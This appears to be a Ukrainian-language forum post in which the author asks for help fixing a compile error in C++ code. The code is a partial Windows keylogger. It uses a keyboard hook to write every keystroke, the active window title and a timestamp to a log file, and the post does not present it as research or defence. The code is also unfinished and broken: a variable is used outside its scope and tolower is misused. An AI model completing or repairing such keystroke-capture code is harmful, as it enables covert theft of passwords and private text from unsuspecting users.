Тема: допоможіть вирішити помилку на c++ debug x86 многобайтова кодировка
не можу вирішити помилку вже багато часу, я ще не дописав но вся інформація в назві теми:
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int save(int key);
LRESULT _stdcall HookCallBack(int ncode, WPARAM wParam, LPARAM lParam);
HHOOK hook;
KBDLLHOOKSTRUCT kbStruct;
ofstream file;
extern char prevProg[256];
int save(int key)
{
if (key == 1 || key == 2)
{
return 0;
}
HWND foreground = GetForegroundWindow();
DWORD threadId;
HKL keyboardLayout;
if (foreground)
{
threadId = GetWindowThreadProcessId(foreground, NULL);
keyboardLayout = GetKeyboardLayout(threadId);
char crrProg[256];
GetWindowText(foreground, crrProg, 256);
if (strcmp(crrProg, prevProg) != 0)
{
strcpy_s(prevProg, crrProg);
time_t t = time(NULL);
struct tm *tm = localtime(&t);
char c[64];
strftime(c, sizeof(c), "%c", tm);
file << "\n\n\n[program: " << crrProg << "DateTime: " << c << "]";
}
cout << key << endl;
if (key == VK_BACK)
file << "BACKSPACE";
else if (key == VK_RETURN)
file << "\n";
else if (key == VK_SPACE)
file << " ";
else if (key == VK_TAB)
file << "[TAB]";
else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)
file << "[SHIFT]";
else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)
file << "[CTRL]";
else if (key == VK_ESCAPE)
file << "[ESC}";
else if (key == VK_END)
file << "[END]";
else if (key == VK_HOME)
file << "[HOME]";
else if (key == VK_LEFT)
file << "[LEFT]";
else if (key == VK_RIGHT)
file << "[RIGHT]";
else if (key == VK_UP)
file << "[UP]";
else if (key == VK_DOWN)
file << "[DOWN]";
else if (key == 190 || key == 110)
file << ".";
else if (key == 189 || key == 109)
file << "-";
else if (key == 20)
file << "[CAPS]";
else
{
char crrKey;
bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 ||
(GetKeyState(VK_LSHIFT) & 0x1000) != 0 ||
(GetKeyState(VK_RSHIFT) & 0x1000) != 0 )
{
lower = !lower;
}
}
crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout); - помилка тут в crrKey
if (!tolower)
{
tolower(crrKey);
}
}
}